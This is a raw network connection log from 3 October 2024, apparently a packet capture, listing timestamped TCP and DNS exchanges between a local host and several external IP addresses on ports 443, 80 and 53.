Oct 3, 2024 17:18:42.598164082 CEST	49711	443	192.168.2.17	3.76.71.197
Oct 3, 2024 17:18:42.598182917 CEST	443	49711	3.76.71.197	192.168.2.17
Oct 3, 2024 17:18:42.636564016 CEST	49749	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.683408022 CEST	443	49749	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.756347895 CEST	49754	443	192.168.2.17	185.36.140.14
Oct 3, 2024 17:18:42.756406069 CEST	443	49754	185.36.140.14	192.168.2.17
Oct 3, 2024 17:18:42.756520987 CEST	49754	443	192.168.2.17	185.36.140.14
Oct 3, 2024 17:18:42.756697893 CEST	49755	443	192.168.2.17	185.36.140.14
Oct 3, 2024 17:18:42.756787062 CEST	443	49755	185.36.140.14	192.168.2.17
Oct 3, 2024 17:18:42.756864071 CEST	49755	443	192.168.2.17	185.36.140.14
Oct 3, 2024 17:18:42.756872892 CEST	49754	443	192.168.2.17	185.36.140.14
Oct 3, 2024 17:18:42.756895065 CEST	443	49754	185.36.140.14	192.168.2.17
Oct 3, 2024 17:18:42.757028103 CEST	49755	443	192.168.2.17	185.36.140.14
Oct 3, 2024 17:18:42.757066011 CEST	443	49755	185.36.140.14	192.168.2.17
Oct 3, 2024 17:18:42.823458910 CEST	443	49749	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.823626041 CEST	443	49749	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.823717117 CEST	49749	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.824161053 CEST	49749	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.824209929 CEST	443	49749	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.824237108 CEST	49749	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.824279070 CEST	49749	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:43.034080982 CEST	443	49753	104.26.3.30	192.168.2.17
Oct 3, 2024 17:18:43.034564018 CEST	49753	443	192.168.2.17	104.26.3.30
Oct 3, 2024 17:18:43.034595013 CEST	443	49753	104.26.3.30	192.168.2.17
Oct 3, 2024 17:18:43.036242008 CEST	443	49753	104.26.3.30	192.168.2.17
Oct 3, 2024 17:18:43.036345005 CEST	49753	443	192.168.2.17	104.26.3.30
Oct 3, 2024 17:18:43.037348032 CEST	49753	443	192.168.2.17	104.26.3.30
Oct 3, 2024 17:18:43.037523031 CEST	49753	443	192.168.2.17	104.26.3.30
Oct 3, 2024 17:18:43.037533998 CEST	443	49753	104.26.3.30	192.168.2.17
Oct 3, 2024 17:18:43.037583113 CEST	443	49753	104.26.3.30	192.168.2.17
Oct 3, 2024 17:18:43.079370975 CEST	49753	443	192.168.2.17	104.26.3.30
Oct 3, 2024 17:18:43.079430103 CEST	443	49753	104.26.3.30	192.168.2.17
Oct 3, 2024 17:18:43.127368927 CEST	49753	443	192.168.2.17	104.26.3.30
Oct 3, 2024 17:18:43.273761988 CEST	443	49753	104.26.3.30	192.168.2.17
Oct 3, 2024 17:18:43.273926020 CEST	443	49753	104.26.3.30	192.168.2.17
Oct 3, 2024 17:18:43.274013996 CEST	49753	443	192.168.2.17	104.26.3.30
Oct 3, 2024 17:18:43.274477959 CEST	49753	443	192.168.2.17	104.26.3.30
Oct 3, 2024 17:18:43.274477959 CEST	49753	443	192.168.2.17	104.26.3.30
Oct 3, 2024 17:18:43.274519920 CEST	443	49753	104.26.3.30	192.168.2.17
Oct 3, 2024 17:18:43.274588108 CEST	49753	443	192.168.2.17	104.26.3.30
Oct 3, 2024 17:18:43.276202917 CEST	49756	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:43.276245117 CEST	443	49756	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:43.276329041 CEST	49756	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:43.276606083 CEST	49756	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:43.276623964 CEST	443	49756	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:43.395148039 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 3, 2024 17:18:43.696645021 CEST	443	49754	185.36.140.14	192.168.2.17
Oct 3, 2024 17:18:43.697048903 CEST	49754	443	192.168.2.17	185.36.140.14
Oct 3, 2024 17:18:43.697102070 CEST	443	49754	185.36.140.14	192.168.2.17
Oct 3, 2024 17:18:43.698766947 CEST	443	49754	185.36.140.14	192.168.2.17
Oct 3, 2024 17:18:43.698874950 CEST	49754	443	192.168.2.17	185.36.140.14
Oct 3, 2024 17:18:43.701175928 CEST	49754	443	192.168.2.17	185.36.140.14
Oct 3, 2024 17:18:43.701334953 CEST	443	49754	185.36.140.14	192.168.2.17
Oct 3, 2024 17:18:43.701387882 CEST	49754	443	192.168.2.17	185.36.140.14
Oct 3, 2024 17:18:43.720623970 CEST	443	49755	185.36.140.14	192.168.2.17
Oct 3, 2024 17:18:43.720927954 CEST	49755	443	192.168.2.17	185.36.140.14
Oct 3, 2024 17:18:43.720993042 CEST	443	49755	185.36.140.14	192.168.2.17
Oct 3, 2024 17:18:43.722073078 CEST	443	49755	185.36.140.14	192.168.2.17
Oct 3, 2024 17:18:43.722184896 CEST	49755	443	192.168.2.17	185.36.140.14
Oct 3, 2024 17:18:43.722431898 CEST	49755	443	192.168.2.17	185.36.140.14
Oct 3, 2024 17:18:43.722501040 CEST	443	49755	185.36.140.14	192.168.2.17
Oct 3, 2024 17:18:43.745161057 CEST	49754	443	192.168.2.17	185.36.140.14
Oct 3, 2024 17:18:43.745189905 CEST	443	49754	185.36.140.14	192.168.2.17
Oct 3, 2024 17:18:43.777313948 CEST	49755	443	192.168.2.17	185.36.140.14
Oct 3, 2024 17:18:43.777374983 CEST	443	49755	185.36.140.14	192.168.2.17
Oct 3, 2024 17:18:43.791305065 CEST	443	49756	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:43.791610003 CEST	49756	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:43.791697979 CEST	443	49756	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:43.792819977 CEST	443	49756	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:43.793128014 CEST	49754	443	192.168.2.17	185.36.140.14
Oct 3, 2024 17:18:43.793234110 CEST	49756	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:43.793332100 CEST	443	49756	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:43.793423891 CEST	49756	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:43.825145006 CEST	49755	443	192.168.2.17	185.36.140.14
Oct 3, 2024 17:18:43.835414886 CEST	443	49756	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:43.960050106 CEST	443	49756	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:43.960165024 CEST	443	49756	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:43.960259914 CEST	49756	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:43.960290909 CEST	443	49756	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:43.960390091 CEST	443	49756	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:43.960453033 CEST	49756	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:43.960467100 CEST	443	49756	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:43.960534096 CEST	443	49756	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:43.960606098 CEST	49756	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:43.961339951 CEST	49756	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:43.961390972 CEST	443	49756	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:44.062391996 CEST	443	49754	185.36.140.14	192.168.2.17
Oct 3, 2024 17:18:44.062575102 CEST	443	49754	185.36.140.14	192.168.2.17
Oct 3, 2024 17:18:44.062647104 CEST	49754	443	192.168.2.17	185.36.140.14
Oct 3, 2024 17:18:44.063002110 CEST	49754	443	192.168.2.17	185.36.140.14
Oct 3, 2024 17:18:44.063030958 CEST	443	49754	185.36.140.14	192.168.2.17
Oct 3, 2024 17:18:44.063041925 CEST	49754	443	192.168.2.17	185.36.140.14
Oct 3, 2024 17:18:44.063083887 CEST	49754	443	192.168.2.17	185.36.140.14
Oct 3, 2024 17:18:44.077770948 CEST	49757	443	192.168.2.17	188.114.97.3
Oct 3, 2024 17:18:44.077848911 CEST	443	49757	188.114.97.3	192.168.2.17
Oct 3, 2024 17:18:44.077941895 CEST	49757	443	192.168.2.17	188.114.97.3
Oct 3, 2024 17:18:44.078239918 CEST	49757	443	192.168.2.17	188.114.97.3
Oct 3, 2024 17:18:44.078269958 CEST	443	49757	188.114.97.3	192.168.2.17
Oct 3, 2024 17:18:44.732371092 CEST	443	49757	188.114.97.3	192.168.2.17
Oct 3, 2024 17:18:44.734544992 CEST	49757	443	192.168.2.17	188.114.97.3
Oct 3, 2024 17:18:44.734587908 CEST	443	49757	188.114.97.3	192.168.2.17
Oct 3, 2024 17:18:44.736114979 CEST	443	49757	188.114.97.3	192.168.2.17
Oct 3, 2024 17:18:44.736227036 CEST	49757	443	192.168.2.17	188.114.97.3
Oct 3, 2024 17:18:44.739435911 CEST	49757	443	192.168.2.17	188.114.97.3
Oct 3, 2024 17:18:44.739437103 CEST	49757	443	192.168.2.17	188.114.97.3
Oct 3, 2024 17:18:44.739478111 CEST	49757	443	192.168.2.17	188.114.97.3
Oct 3, 2024 17:18:44.739530087 CEST	443	49757	188.114.97.3	192.168.2.17
Oct 3, 2024 17:18:44.739599943 CEST	49757	443	192.168.2.17	188.114.97.3
Oct 3, 2024 17:18:44.739885092 CEST	49758	443	192.168.2.17	188.114.97.3
Oct 3, 2024 17:18:44.739944935 CEST	443	49758	188.114.97.3	192.168.2.17
Oct 3, 2024 17:18:44.740080118 CEST	49758	443	192.168.2.17	188.114.97.3
Oct 3, 2024 17:18:44.740276098 CEST	49758	443	192.168.2.17	188.114.97.3
Oct 3, 2024 17:18:44.740303040 CEST	443	49758	188.114.97.3	192.168.2.17
Oct 3, 2024 17:18:45.214154959 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 3, 2024 17:18:45.217899084 CEST	443	49758	188.114.97.3	192.168.2.17
Oct 3, 2024 17:18:45.218225002 CEST	49758	443	192.168.2.17	188.114.97.3
Oct 3, 2024 17:18:45.218242884 CEST	443	49758	188.114.97.3	192.168.2.17
Oct 3, 2024 17:18:45.219990015 CEST	443	49758	188.114.97.3	192.168.2.17
Oct 3, 2024 17:18:45.220081091 CEST	49758	443	192.168.2.17	188.114.97.3
Oct 3, 2024 17:18:45.221219063 CEST	49758	443	192.168.2.17	188.114.97.3
Oct 3, 2024 17:18:45.221302986 CEST	443	49758	188.114.97.3	192.168.2.17
Oct 3, 2024 17:18:45.221447945 CEST	49758	443	192.168.2.17	188.114.97.3
Oct 3, 2024 17:18:45.221457005 CEST	443	49758	188.114.97.3	192.168.2.17
Oct 3, 2024 17:18:45.261176109 CEST	49758	443	192.168.2.17	188.114.97.3
Oct 3, 2024 17:18:45.511133909 CEST	443	49758	188.114.97.3	192.168.2.17
Oct 3, 2024 17:18:45.511286974 CEST	443	49758	188.114.97.3	192.168.2.17
Oct 3, 2024 17:18:45.511358976 CEST	49758	443	192.168.2.17	188.114.97.3
Oct 3, 2024 17:18:45.511881113 CEST	49758	443	192.168.2.17	188.114.97.3
Oct 3, 2024 17:18:45.511909962 CEST	443	49758	188.114.97.3	192.168.2.17
Oct 3, 2024 17:18:45.511921883 CEST	49758	443	192.168.2.17	188.114.97.3
Oct 3, 2024 17:18:45.511955976 CEST	49758	443	192.168.2.17	188.114.97.3
Oct 3, 2024 17:18:48.197253942 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 3, 2024 17:18:49.364233017 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 3, 2024 17:18:51.503947020 CEST	55753	53	192.168.2.17	1.1.1.1
Oct 3, 2024 17:18:51.511764050 CEST	53	55753	1.1.1.1	192.168.2.17
Oct 3, 2024 17:18:51.511862040 CEST	55753	53	192.168.2.17	1.1.1.1
Oct 3, 2024 17:18:51.511887074 CEST	55753	53	192.168.2.17	1.1.1.1
Oct 3, 2024 17:18:51.520641088 CEST	53	55753	1.1.1.1	192.168.2.17
Oct 3, 2024 17:18:51.980706930 CEST	53	55753	1.1.1.1	192.168.2.17
Oct 3, 2024 17:18:51.981528997 CEST	55753	53	192.168.2.17	1.1.1.1
Oct 3, 2024 17:18:51.988239050 CEST	53	55753	1.1.1.1	192.168.2.17
Oct 3, 2024 17:18:51.988349915 CEST	55753	53	192.168.2.17	1.1.1.1
Oct 3, 2024 17:18:52.456864119 CEST	55755	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:52.456892014 CEST	443	55755	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:52.456971884 CEST	55755	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:52.457242966 CEST	55756	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:52.457287073 CEST	443	55756	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:52.457428932 CEST	55755	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:52.457438946 CEST	443	55755	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:52.457495928 CEST	55756	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:52.457695007 CEST	55756	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:52.457710028 CEST	443	55756	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:53.314395905 CEST	443	55756	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:53.314656019 CEST	55756	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:53.314683914 CEST	443	55756	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:53.315551043 CEST	443	55756	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:53.315608978 CEST	55756	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:53.316092014 CEST	443	55755	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:53.316307068 CEST	55755	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:53.316329956 CEST	443	55755	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:53.316657066 CEST	55756	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:53.316718102 CEST	443	55756	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:53.316855907 CEST	55756	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:53.316865921 CEST	443	55756	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:53.317883015 CEST	443	55755	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:53.317960024 CEST	55755	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:53.318778038 CEST	55755	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:53.318917990 CEST	443	55755	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:53.361208916 CEST	55755	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:53.361224890 CEST	443	55755	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:53.361269951 CEST	55756	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:53.408206940 CEST	55755	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:53.520510912 CEST	443	55756	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:53.520596027 CEST	443	55756	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:53.520648003 CEST	55756	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:53.521214962 CEST	55756	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:53.521234989 CEST	443	55756	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:53.536885023 CEST	55757	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:18:53.536916971 CEST	443	55757	104.21.79.120	192.168.2.17
Oct 3, 2024 17:18:53.536990881 CEST	55757	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:18:53.537290096 CEST	55757	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:18:53.537308931 CEST	443	55757	104.21.79.120	192.168.2.17
Oct 3, 2024 17:18:53.993038893 CEST	443	55757	104.21.79.120	192.168.2.17
Oct 3, 2024 17:18:53.993412971 CEST	55757	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:18:53.993449926 CEST	443	55757	104.21.79.120	192.168.2.17
Oct 3, 2024 17:18:53.994429111 CEST	443	55757	104.21.79.120	192.168.2.17
Oct 3, 2024 17:18:53.994514942 CEST	55757	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:18:53.994806051 CEST	55757	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:18:53.994822979 CEST	55757	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:18:53.994868040 CEST	443	55757	104.21.79.120	192.168.2.17
Oct 3, 2024 17:18:53.994874954 CEST	55757	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:18:53.994920969 CEST	55757	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:18:53.995230913 CEST	55758	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:18:53.995268106 CEST	443	55758	104.21.79.120	192.168.2.17
Oct 3, 2024 17:18:53.995345116 CEST	55758	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:18:53.995543957 CEST	55758	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:18:53.995558023 CEST	443	55758	104.21.79.120	192.168.2.17
Oct 3, 2024 17:18:54.658699036 CEST	443	55758	104.21.79.120	192.168.2.17
Oct 3, 2024 17:18:54.659104109 CEST	55758	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:18:54.659149885 CEST	443	55758	104.21.79.120	192.168.2.17
Oct 3, 2024 17:18:54.660307884 CEST	443	55758	104.21.79.120	192.168.2.17
Oct 3, 2024 17:18:54.660377026 CEST	55758	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:18:54.661550045 CEST	55758	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:18:54.661616087 CEST	443	55758	104.21.79.120	192.168.2.17
Oct 3, 2024 17:18:54.661819935 CEST	55758	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:18:54.661828041 CEST	443	55758	104.21.79.120	192.168.2.17
Oct 3, 2024 17:18:54.715182066 CEST	55758	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:18:55.075403929 CEST	443	55758	104.21.79.120	192.168.2.17
Oct 3, 2024 17:18:55.075479031 CEST	443	55758	104.21.79.120	192.168.2.17
Oct 3, 2024 17:18:55.075558901 CEST	55758	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:18:55.077672958 CEST	55758	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:18:55.077697992 CEST	443	55758	104.21.79.120	192.168.2.17
Oct 3, 2024 17:18:55.219356060 CEST	55759	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:55.219436884 CEST	443	55759	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:55.219562054 CEST	55759	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:55.219779968 CEST	55759	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:55.219818115 CEST	443	55759	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:55.257930040 CEST	55760	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:55.258034945 CEST	443	55760	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:55.258196115 CEST	55760	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:55.258749008 CEST	55760	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:55.258766890 CEST	443	55760	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:55.901782036 CEST	443	55760	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:55.901901960 CEST	55760	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:55.903758049 CEST	55760	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:55.903775930 CEST	443	55760	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:55.904000044 CEST	443	55760	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:55.905927896 CEST	55760	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:55.951399088 CEST	443	55760	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:56.115466118 CEST	443	55760	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:56.115488052 CEST	443	55760	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:56.115511894 CEST	443	55760	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:56.115777016 CEST	55760	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:56.115777969 CEST	55760	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:56.115850925 CEST	443	55760	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:56.115923882 CEST	55760	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:56.118412018 CEST	443	55760	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:56.118442059 CEST	443	55760	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:56.118499994 CEST	55760	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:56.118515968 CEST	443	55760	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:56.118541002 CEST	443	55760	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:56.118545055 CEST	55760	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:56.118593931 CEST	55760	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:56.119344950 CEST	55760	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:56.119383097 CEST	443	55760	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:56.119436979 CEST	55760	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:56.119452953 CEST	443	55760	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:56.165364981 CEST	443	55759	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:56.165743113 CEST	55759	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:56.165790081 CEST	443	55759	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:56.167474985 CEST	443	55759	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:56.167597055 CEST	55759	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:56.168795109 CEST	55759	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:56.168889999 CEST	443	55759	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:56.169001102 CEST	55759	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:56.169020891 CEST	443	55759	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:56.213170052 CEST	55759	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:56.410890102 CEST	443	55759	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:56.410927057 CEST	443	55759	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:56.410938025 CEST	443	55759	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:56.411032915 CEST	443	55759	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:56.411113977 CEST	55759	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:56.411114931 CEST	55759	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:56.412621021 CEST	55759	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:56.412673950 CEST	443	55759	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:56.433557987 CEST	55761	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:56.433628082 CEST	443	55761	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:56.433716059 CEST	55761	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:56.434191942 CEST	55761	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:56.434210062 CEST	443	55761	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:56.435648918 CEST	55762	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:56.435663939 CEST	443	55762	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:56.435730934 CEST	55762	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:56.435945988 CEST	55763	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:56.436044931 CEST	443	55763	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:56.436117887 CEST	55763	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:56.436419010 CEST	55764	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:56.436470032 CEST	443	55764	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:56.436522961 CEST	55764	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:56.436882019 CEST	55762	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:56.436894894 CEST	443	55762	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:56.437129974 CEST	55763	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:56.437170982 CEST	443	55763	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:56.437315941 CEST	55764	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:56.437330961 CEST	443	55764	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.069019079 CEST	443	55764	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.069339991 CEST	55764	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.069356918 CEST	443	55764	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.070801020 CEST	443	55764	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.070871115 CEST	55764	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.071235895 CEST	55764	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.071304083 CEST	443	55764	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.071484089 CEST	55764	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.071491957 CEST	443	55764	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.091008902 CEST	443	55763	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.091403008 CEST	443	55762	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.091552019 CEST	55763	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.091588020 CEST	55762	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.091618061 CEST	443	55762	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.091622114 CEST	443	55763	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.092113972 CEST	443	55762	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.093172073 CEST	443	55763	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.093250990 CEST	55763	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.095029116 CEST	443	55761	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.097012997 CEST	55763	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.097131014 CEST	443	55763	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.099973917 CEST	55762	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.100116968 CEST	443	55762	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.102163076 CEST	55761	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.102174997 CEST	443	55761	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.102493048 CEST	443	55761	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.104362011 CEST	55763	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.104388952 CEST	443	55763	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.104489088 CEST	55762	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.104717016 CEST	55761	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.104775906 CEST	443	55761	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.106986046 CEST	55761	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.124838114 CEST	55764	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.151407003 CEST	443	55762	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.151408911 CEST	443	55761	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.156229019 CEST	55763	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.390870094 CEST	443	55764	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.390959978 CEST	443	55764	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.390973091 CEST	443	55764	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.391000032 CEST	443	55764	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.391028881 CEST	55764	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.391046047 CEST	443	55764	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.391072035 CEST	55764	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.391171932 CEST	443	55764	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.391227007 CEST	55764	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.391814947 CEST	55764	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.391835928 CEST	443	55764	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.415082932 CEST	443	55763	38.180.68.202	192.168.2.17
